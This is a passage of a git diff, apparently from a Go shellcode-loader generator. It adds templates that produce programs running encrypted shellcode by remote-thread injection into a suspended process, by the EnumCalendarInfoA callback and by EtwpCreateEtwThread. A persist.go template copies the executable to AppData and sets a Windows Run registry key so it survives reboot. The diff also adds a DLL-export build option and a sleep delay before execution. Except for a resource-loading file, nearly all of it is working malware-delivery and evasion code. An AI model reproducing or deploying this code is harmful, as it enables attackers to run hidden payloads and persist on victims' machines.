+	commandLine, err := syscall.UTF16PtrFromString(target)
+	if err != nil {
+		panic(err)
+	}
+
+    err = syscall.CreateProcess(
+		nil,
+		commandLine,
+		nil,
+		nil,
+		false,
+		CREATE_SUSPENDED | CREATE_NO_WINDOW,
+		nil,
+		nil,
+		&si,
+		&pi,
+    ); if err != nil {
+		panic(err)
+	}
+
+	return &pi
+}
+
+func ExecuteOrderSixtySix(shellcode []byte){
+
+    /* spawn target process */
+    process := loadProcess("%s")
+    oldProtectCfg := PAGE_READWRITE
+
+    /* allocating the appropriate amount of memory */
+    baseAddr, _, _ := VirtualAllocEx.Call(
+        uintptr(process.Process),
+        0,
+        uintptr(len(shellcode)),
+        MEM_COMMIT | MEM_RESERVE,
+        PAGE_READWRITE,
+    )
+
+    /* overwriting process memory with our shellcode */
+    _, _, _ = WriteProcessMemory.Call(
+        uintptr(process.Process),
+        baseAddr,
+        uintptr(unsafe.Pointer(&shellcode[0])),
+        uintptr(len(shellcode)),
+        0,
+    )
+
+    /* changing permissions for our memory segment */
+    _, _, _ = VirtualProtectEx.Call(
+        uintptr(process.Process),
+        baseAddr,
+        uintptr(len(shellcode)),
+        PAGE_EXECUTE_READ,
+        uintptr(unsafe.Pointer(&oldProtectCfg)),
+    )
+
+    /* load remote thread */
+	_, _, _ = CreateRemoteThreadEx.Call(
+        uintptr(process.Process),
+        0,
+        0,
+        baseAddr,
+        0,
+        0,
+        0,
+    )
+}
+
+    `, targetProcess)
+}
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -5,9 +5,8 @@ import (
 )
 
 func GetCreateThreadTemplate(targetProcess string) string {
-	var _ = targetProcess // unused in this template
+	InformProcessUnused(targetProcess)
 
-	println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
 	return fmt.Sprintf(`
 package main
 
diff --git a/loaders/enumcalendarinfoa.go b/loaders/enumcalendarinfoa.go
@@ -0,0 +1,59 @@
+package loaders
+
+import (
+	"fmt"
+)
+
+func GetEnumCalendarInfoATemplate(targetProcess string) string {
+	InformProcessUnused(targetProcess)
+
+	return fmt.Sprintf(`
+package main
+
+import (
+	"syscall"
+	"unsafe"
+)
+
+const (
+	MEM_COMMIT             = 0x1000
+	MEM_RESERVE            = 0x2000
+	PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+	kernel32        = syscall.MustLoadDLL("kernel32.dll")
+	ntdll           = syscall.MustLoadDLL("ntdll.dll")
+
+	VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
+	EnumCalendarInfoA   = kernel32.MustFindProc("EnumCalendarInfoA")
+	RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")
+
+	LOCALE_USER_DEFAULT = 0x0400
+	ENUM_ALL_CALENDARS  = 0xFFFFFFFF
+	CAL_SMONTHNAME1     = 0x00000015
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+	addr, _, _ := VirtualAlloc.Call(
+		0,
+		uintptr(len(shellcode)),
+		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+	)
+
+	_, _, _ = RtlCopyMemory.Call(
+		addr,
+		(uintptr)(unsafe.Pointer(&shellcode[0])),
+		uintptr(len(shellcode)),
+	)
+
+	_, _, _ = EnumCalendarInfoA.Call(
+		addr,
+		(uintptr)(LOCALE_USER_DEFAULT),
+		(uintptr)(ENUM_ALL_CALENDARS),
+		(uintptr)(CAL_SMONTHNAME1),
+	)
+}
+    `)
+}
diff --git a/loaders/etwpCreateEtwThread.go b/loaders/etwpCreateEtwThread.go
@@ -0,0 +1,73 @@
+package loaders
+
+import (
+	"fmt"
+)
+
+func GetEtwpCreateEtwThreadTemplate(targetProcess string) string {
+	InformProcessUnused(targetProcess)
+
+	return fmt.Sprintf(`
+package main
+
+import (
+    "syscall"
+    "unsafe"
+)
+
+
+const (
+    MEM_COMMIT                = 0x1000
+    MEM_RESERVE               = 0x2000
+    PAGE_READWRITE            = 0x4
+    PAGE_EXECUTE_READ         = 0x20
+    PAGE_EXECUTE_READWRITE    = 0x40
+    CREATE_SUSPENDED          = 0x4
+    CREATE_NO_WINDOW          = 0x8000000
+)
+
+var (
+    kernel32            = syscall.MustLoadDLL("kernel32.dll")
+    ntdll               = syscall.MustLoadDLL("ntdll.dll")
+
+    RtlCopyMemory           = ntdll.MustFindProc("RtlCopyMemory")
+    EtwpCreateEtwThread     = ntdll.MustFindProc("EtwpCreateEtwThread")
+
+	VirtualAlloc            = kernel32.MustFindProc("VirtualAlloc")
+	VirtualProtect          = kernel32.MustFindProc("VirtualProtect")
+    WaitForSingleObject     = kernel32.MustFindProc("WaitForSingleObject")
+)
+
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+    /* allocating the appropriate amount of memory */
+    baseAddr, _, err := VirtualAlloc.Call(
+        0,
+        uintptr(len(shellcode)),
+        MEM_COMMIT | MEM_RESERVE,
+        PAGE_READWRITE,
+    ); if baseAddr == 0 {
+        panic(err)
+    }
+
+    /* copying the shellcode to memory */
+    _, _, _ = RtlCopyMemory.Call(
+        baseAddr,
+        (uintptr)(unsafe.Pointer(&shellcode[0])),
+        uintptr(len(shellcode)),
+    )
+
+    /* changing permissions for our memory segment */
+    oldProtectCfg := PAGE_READWRITE
+    _, _, _ = VirtualProtect.Call(
+        baseAddr,
+        uintptr(len(shellcode)),
+        PAGE_EXECUTE_READ,
+        uintptr(unsafe.Pointer(&oldProtectCfg)),
+    )
+
+    threadId, _, err := EtwpCreateEtwThread.Call(baseAddr, uintptr(0))
+    WaitForSingleObject.Call(threadId, 0xFFFFFFFF)
+}
+`)
+}
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -13,10 +13,6 @@ import (
 */
 
 func GetProcessHollowingTemplate(targetProcess string) string {
-
-	println("\n[!] Please be aware ProcessHollowing implementation is still a work in progress and unstable.")
-	println("Maybe you could use another technique instead...? I hear the CRT one is pretty good...\n")
-
 	return fmt.Sprintf(`
 package main
 
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -5,9 +5,7 @@ import (
 )
 
 func GetSyscallTemplate(targetProcess string) string {
-	_ = targetProcess // unused in this technique
-
-	println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+	InformProcessUnused(targetProcess)
 
 	return fmt.Sprintf(`
 package main
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -1,11 +1,20 @@
 package loaders
 
+func InformProcessUnused(process string) {
+	_ = process
+
+	println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+}
+
 func SelectTemplate(templateName string) func(string) string {
 
 	switch templateName {
 	case "CRT":
 		return GetCRTTemplate
 
+	case "CRTx":
+		return GetCRTxTemplate
+
 	case "CreateThread":
 		return GetCreateThreadTemplate
 
@@ -15,6 +24,15 @@ func SelectTemplate(templateName string) func(string) string {
 	case "Syscall":
 		return GetSyscallTemplate
 
+	case "EnumCalendarInfoA":
+		return GetEnumCalendarInfoATemplate
+
+	case "CreateFiber":
+		return GetCreateFiberTemplate
+
+	case "Etwp":
+		return GetEtwpCreateEtwThreadTemplate
+
 	}
 
 	return nil
diff --git a/rc/fromJson.go b/rc/fromJson.go
@@ -0,0 +1,383 @@
+package rc
+
+/*
+   Copied from :
+   https://github.com/tc-hib/go-winres/blob/main/resdir.go
+
+   and took just what we need. I left the data types as-is
+   if we want to expand usage later.
+
+   it would be really cool if this was just in the library,
+   but it might be actually, id have to check this out.
+*/
+
+import (
+	"encoding/json"
+	"errors"
+	"image"
+	"os"
+	"path/filepath"
+	"sort"
+	"strconv"
+	"strings"
+
+	"github.com/tc-hib/winres"
+	"github.com/tc-hib/winres/version"
+)
+
+const (
+	errInvalidSet    = "invalid resource set definition"
+	errInvalidCursor = "invalid cursor definition"
+	errInvalidIcon   = "invalid icon definition"
+)
+
+type jsonDef map[string]map[string]map[string]interface{}
+
+var typeIDToString = map[winres.ID]string{
+	winres.RT_CURSOR:       "RT_CURSOR",
+	winres.RT_BITMAP:       "RT_BITMAP",
+	winres.RT_ICON:         "RT_ICON",
+	winres.RT_MENU:         "RT_MENU",
+	winres.RT_DIALOG:       "RT_DIALOG",
+	winres.RT_STRING:       "RT_STRING",
+	winres.RT_FONTDIR:      "RT_FONTDIR",
+	winres.RT_FONT:         "RT_FONT",
+	winres.RT_ACCELERATOR:  "RT_ACCELERATOR",
+	winres.RT_RCDATA:       "RT_RCDATA",
+	winres.RT_MESSAGETABLE: "RT_MESSAGETABLE",
+	winres.RT_GROUP_CURSOR: "RT_GROUP_CURSOR",
+	winres.RT_GROUP_ICON:   "RT_GROUP_ICON",
+	winres.RT_VERSION:      "RT_VERSION",
+	winres.RT_PLUGPLAY:     "RT_PLUGPLAY",
+	winres.RT_VXD:          "RT_VXD",
+	winres.RT_ANICURSOR:    "RT_ANICURSOR",
+	winres.RT_ANIICON:      "RT_ANIICON",
+	winres.RT_HTML:         "RT_HTML",
+	winres.RT_MANIFEST:     "RT_MANIFEST",
+}
+
+var typeIDFromString = map[string]winres.ID{
+	"RT_CURSOR":       winres.RT_CURSOR,
+	"RT_BITMAP":       winres.RT_BITMAP,
+	"RT_ICON":         winres.RT_ICON,
+	"RT_MENU":         winres.RT_MENU,
+	"RT_DIALOG":       winres.RT_DIALOG,
+	"RT_STRING":       winres.RT_STRING,
+	"RT_FONTDIR":      winres.RT_FONTDIR,
+	"RT_FONT":         winres.RT_FONT,
+	"RT_ACCELERATOR":  winres.RT_ACCELERATOR,
+	"RT_RCDATA":       winres.RT_RCDATA,
+	"RT_MESSAGETABLE": winres.RT_MESSAGETABLE,
+	"RT_GROUP_CURSOR": winres.RT_GROUP_CURSOR,
+	"RT_GROUP_ICON":   winres.RT_GROUP_ICON,
+	"RT_VERSION":      winres.RT_VERSION,
+	"RT_PLUGPLAY":     winres.RT_PLUGPLAY,
+	"RT_VXD":          winres.RT_VXD,
+	"RT_ANICURSOR":    winres.RT_ANICURSOR,
+	"RT_ANIICON":      winres.RT_ANIICON,
+	"RT_HTML":         winres.RT_HTML,
+	"RT_MANIFEST":     winres.RT_MANIFEST,
+}
+
+func idsFromStrings(t, r, l string) (winres.Identifier, winres.Identifier, uint16, error) {
+	var (
+		typeID winres.Identifier
+		resID  winres.Identifier
+		langID uint16
+	)
+
+	if id, ok := typeIDFromString[t]; ok {
+		typeID = id
+	} else {
+		typeID = stringToIdentifier(t)
+	}
+	if typeID == nil {
+		return nil, nil, 0, errors.New("invalid type identifier")
+	}
+
+	resID = stringToIdentifier(r)
+	if resID == nil {
+		return nil, nil, 0, errors.New("invalid resource identifier")
+	}
+
+	n, err := strconv.ParseUint(l, 16, 16)
+	if err != nil {
+		return nil, nil, 0, errors.New("invalid language identifier")
+	}
+	langID = uint16(n)
+
+	return typeID, resID, langID, nil
+}
+
+func stringToIdentifier(s string) winres.Identifier {
+	if s == "" {
+		return nil
+	}
+	if s[0] == '#' {
+		n, err := strconv.ParseInt(s[1:], 10, 16)
+		if err == nil {
+			return winres.ID(n)
+		}
+	}
+	return winres.Name(s)
+}
+
+func LoadResourcesFromJson(rs *winres.ResourceSet, jsonName string) error {
+	dir := filepath.Dir(jsonName)
+	b, err := os.ReadFile(jsonName)
+
+	if err != nil {
+		return err
+	}
+	res := jsonDef{}
+	err = json.Unmarshal(b, &res)
+	if err != nil {
+		return err
+	}
+
+	for tid, t := range res {
+		for _, r := range sortedRes(t) {
+			for _, l := range sortedLang(r.langs) {
+				typeID, resID, langID, err := idsFromStrings(tid, r.id, l.id)
+				if err != nil {
+					return err
+				}
+				switch typeID {
+				case winres.RT_ICON:
+					return errors.New("cannot import RT_ICON resources directly, use RT_GROUP_ICON instead")
+				case winres.RT_CURSOR:
+					return errors.New("cannot import RT_CURSOR resources directly, use RT_GROUP_CURSOR instead")
+				case winres.RT_GROUP_CURSOR:
+					cursor, err := loadCursor(dir, l.data)
+					if err != nil {
+						return err
+					}
+					err = rs.SetCursorTranslation(resID, langID, cursor)
+					if err != nil {
+						return err
+					}
+				case winres.RT_GROUP_ICON:
+					icon, err := loadIcon(dir, l.data)
+					if err != nil {
+						return err
+					}
+					err = rs.SetIconTranslation(resID, langID, icon)
+					if err != nil {
+						return err
+					}
+				case winres.RT_VERSION:
+					vi := version.Info{}
+					j, _ := json.Marshal(l.data)
+					err = json.Unmarshal(j, &vi)
+					if err != nil {
+						return err
+					}
+					rs.SetVersionInfo(vi)
+				case winres.RT_BITMAP:
+					filename, ok := l.data.(string)
+					if !ok {
+						return errors.New(errInvalidSet)
+					}
+					dib, err := loadBMP(filepath.Join(dir, filename))
+					if err != nil {
+						return err
+					}
+					err = rs.Set(winres.RT_BITMAP, resID, langID, dib)
+					if err != nil {
+						return err
+					}
+				case winres.RT_MANIFEST:
+					switch val := l.data.(type) {
+					case string:
+						data, err := os.ReadFile(filepath.Join(dir, val))
+						if err != nil {
+							return err
+						}
+						err = rs.Set(typeID, resID, langID, data)
+						if err != nil {
+							return err
+						}
+					default:
+						j, _ := json.Marshal(val)
+						m := winres.AppManifest{}
+						err = json.Unmarshal(j, &m)
+						if err != nil {
+							return err
+						}
+						rs.SetManifest(m)
+					}
+				default:
+					filename, ok := l.data.(string)
+					if !ok {
+						return errors.New(errInvalidSet)
+					}
+					data, err := os.ReadFile(filepath.Join(dir, filename))
+					if err != nil {
+						return err
+					}
+					err = rs.Set(typeID, resID, langID, data)
+					if err != nil {
+						return err
+					}
+				}
+			}
+		}
+	}
+
+	return nil
+}
+
+type resource struct {
+	id    string
+	langs map[string]interface{}
+}
+
+type lang struct {
+	id   string
+	data interface{}
+}
+
+func sortedRes(m map[string]map[string]interface{}) []resource {
+	var res []resource
+	for id, langs := range m {
+		res = append(res, resource{id, langs})
+	}
+	sort.Slice(res, func(i, j int) bool {
+		return res[i].id < res[j].id
+	})
+	return res
+}
+
+func sortedLang(m map[string]interface{}) []lang {
+	var l []lang
+	for id, data := range m {
+		l = append(l, lang{id, data})
+	}
+	sort.Slice(l, func(i, j int) bool {
+		return l[i].id < l[j].id
+	})
+	return l
+}
+
+func loadCursor(dir string, c interface{}) (*winres.Cursor, error) {
+	switch c := c.(type) {
+	case string:
+		return loadCUR(filepath.Join(dir, c))
+
+	case []interface{}:
+		var images []winres.CursorImage
+		for i := range c {
+			o, ok := c[i].(map[string]interface{})
+			if !ok {
+				return nil, errors.New(errInvalidCursor)
+			}
+			curImg, err := loadCursorImage(dir, o)
+			if err != nil {
+				return nil, err
+			}
+			images = append(images, curImg)
+		}
+		return winres.NewCursorFromImages(images)
+
+	case map[string]interface{}:
+		curImg, err := loadCursorImage(dir, c)
+		if err != nil {
+			return nil, err
+		}
+		return winres.NewCursorFromImages([]winres.CursorImage{curImg})
+	}
+
+	return nil, errors.New(errInvalidCursor)
+}
+
+func loadCursorImage(dir string, c map[string]interface{}) (winres.CursorImage, error) {
+	x, xOK := c["x"].(float64)
+	y, yOK := c["y"].(float64)
+	f, fOK := c["image"].(string)
+	if !fOK || !xOK || !yOK {
+		return winres.CursorImage{}, errors.New(errInvalidCursor)
+	}
+
+	img, err := loadImage(filepath.Join(dir, f))
+	if err != nil {
+		return winres.CursorImage{}, err
+	}
+
+	return winres.CursorImage{
+		Image:   img,
+		HotSpot: winres.HotSpot{X: uint16(x), Y: uint16(y)},
+	}, nil
+}
+
+func loadIcon(dir string, x interface{}) (*winres.Icon, error) {
+	switch x := x.(type) {
+	case string:
+		if strings.ToLower(filepath.Ext(x)) == ".ico" {
+			return loadICO(filepath.Join(dir, x))
+		}
+		img, err := loadImage(filepath.Join(dir, x))
+		if err != nil {
+			return nil, err
+		}
+		return winres.NewIconFromResizedImage(img, nil)
+	case []interface{}:
+		var images []image.Image
+		for i := range x {
+			f, ok := x[i].(string)
+			if !ok {
+				return nil, errors.New(errInvalidIcon)
+			}
+			img, err := loadImage(filepath.Join(dir, f))
+			if err != nil {
+				return nil, err
+			}
+			images = append(images, img)
+		}
+		return winres.NewIconFromImages(images)
+	}
+	return nil, errors.New(errInvalidIcon)
+}
+
+func loadImage(name string) (image.Image, error) {
+	f, err := os.Open(name)
+	if err != nil {
+		return nil, err
+	}
+	defer f.Close()
+
+	img, _, err := image.Decode(f)
+	return img, err
+}
+
+func loadCUR(name string) (*winres.Cursor, error) {
+	f, err := os.Open(name)
+	if err != nil {
+		return nil, err
+	}
+	defer f.Close()
+
+	return winres.LoadCUR(f)
+}
+
+func loadICO(name string) (*winres.Icon, error) {
+	f, err := os.Open(name)
+	if err != nil {
+		return nil, err
+	}
+	defer f.Close()
+
+	return winres.LoadICO(f)
+}
+
+func loadBMP(name string) ([]byte, error) {
+	b, err := os.ReadFile(name)
+	if err != nil {
+		return nil, err
+	}
+
+	if len(b) > 14 && b[0] == 'B' && b[1] == 'M' && int(b[5])<<24|int(b[4])<<16|int(b[3])<<8|int(b[2]) == len(b) {
+		return b[14:], nil
+	}
+
+	return b, nil
+}
diff --git a/tools/persist.go b/tools/persist.go
@@ -0,0 +1,114 @@
+package tools
+
+import "fmt"
+
+func GetPersistTemplate() string {
+	return fmt.Sprintf(`
+package main
+
+import (
+	"io"
+	"os"
+	"strings"
+
+	"golang.org/x/sys/windows/registry"
+)
+
+func getCurrentProcessPath() string {
+	path, err := os.Executable()
+	if err != nil {
+		return ""
+	}
+	return path
+}
+
+func filenameToName(filename string) string {
+	filename_splitted := strings.Split(filename, ".")
+	return filename_splitted[0]
+}
+
+func getAppDataPath() string {
+	path, err := os.UserConfigDir()
+	if err != nil {
+		return ""
+	}
+	return path
+}
+
+func getRegistryKey(keyName string) (string, error) {
+	k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.QUERY_VALUE)
+	if err != nil {
+		return "", err
+	}
+	defer k.Close()
+
+	s, _, err := k.GetStringValue(keyName)
+	if err != nil {
+		return "", err
+	}
+	return s, err
+}
+
+func SetRegistryValue(keyName string, keyValue string) error {
+
+	k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.ALL_ACCESS)
+	if err != nil {
+		return err
+	}
+	defer k.Close()
+
+	err = k.SetStringValue(keyName, keyValue)
+	if err != nil {
+		return err
+	}
+	return err
+}
+
+func fileExists(filename string) bool {
+	info, err := os.Stat(filename)
+	if os.IsNotExist(err) {
+		return false
+	}
+	return !info.IsDir()
+}
+
+func copyFile(src string, dest string) {
+	in, err := os.Open(src)
+	if err != nil {
+		return
+	}
+	defer in.Close()
+	out, err := os.Create(dest)
+	if err != nil {
+		return
+	}
+	defer func() {
+		cerr := out.Close()
+		if err == nil {
+			err = cerr
+		}
+	}()
+	if _, err = io.Copy(out, in); err != nil {
+		return
+	}
+	err = out.Sync()
+	return
+}
+
+func persistExecute(outFile string) {
+	currentFilePath := getCurrentProcessPath()
+	keyName := filenameToName(outFile)
+	installFile := getAppDataPath() + "\\" + outFile
+
+	if !fileExists(installFile) {
+		copyFile(currentFilePath, installFile)
+
+	}
+	keyVal, err := getRegistryKey(keyName)
+	if err != nil || keyVal != installFile {
+		SetRegistryValue(keyName, installFile)
+	}
+
+}
+`)
+}
diff --git a/tools/utils.go b/tools/utils.go
@@ -79,7 +79,7 @@ func DirExists(dir string) (bool, error) {
 	return false, err
 }
 
-func CreateTmpProjectRoot(path string) error {
+func CreateTmpProjectRoot(path string, persist string) error {
 
 	fmt.Printf("[+] Initializing temporary build directory\n")
 
@@ -104,7 +104,7 @@ func CreateTmpProjectRoot(path string) error {
 	}
 
 	var go_mod = []byte(`
-module github.com/cmepw/myph
+module whatever
 
 go 1.19
 
@@ -123,6 +123,11 @@ go 1.19
 	encryptgo_path := fmt.Sprintf("%s/encrypt.go", path)
 	_, _ = os.Create(encryptgo_path)
 
+	if persist != "" {
+		encryptgo_path := fmt.Sprintf("%s/persist.go", path)
+		_, _ = os.Create(encryptgo_path)
+	}
+
 	println("\n")
 	return nil
 }
@@ -132,6 +137,8 @@ func GetMainTemplate(
 	key string,
 	sc string,
 	sleepTime uint,
+	persistData string,
+	shouldExport bool,
 ) string {
 
 	/* if hex encoding is used, it does not require to go through StdEncoding */
@@ -139,7 +146,15 @@ func GetMainTemplate(
 	if encoding == "hex" {
 		encCall = "enc"
 	}
-
+	exportImpStr := `import "C"`
+	exportexpStr := `
+func main() {}
+//export entry
+func entry() {`
+	if !shouldExport {
+		exportImpStr = ""
+		exportexpStr = "func main() {"
+	}
 	return fmt.Sprintf(`
 package main
 
@@ -147,12 +162,13 @@ import (
     "time"
     "os"
     enc "encoding/%s"
+	"fmt"
 )
 
+%s
 var Key = %s
 var Code = %s
-
-func main() {
+%s
 
     decodedSc, _ := %s.DecodeString(Code)
     decodedKey, _ := %s.DecodeString(Key)
@@ -163,7 +179,9 @@ func main() {
     }
 
     time.Sleep(%d * time.Second)
+
+	  %s
     ExecuteOrderSixtySix(decrypted)
 }
-    `, encoding, key, sc, encCall, encCall, sleepTime)
+    `, encoding, exportImpStr, key, sc, exportexpStr, encCall, encCall, sleepTime, persistData)
 }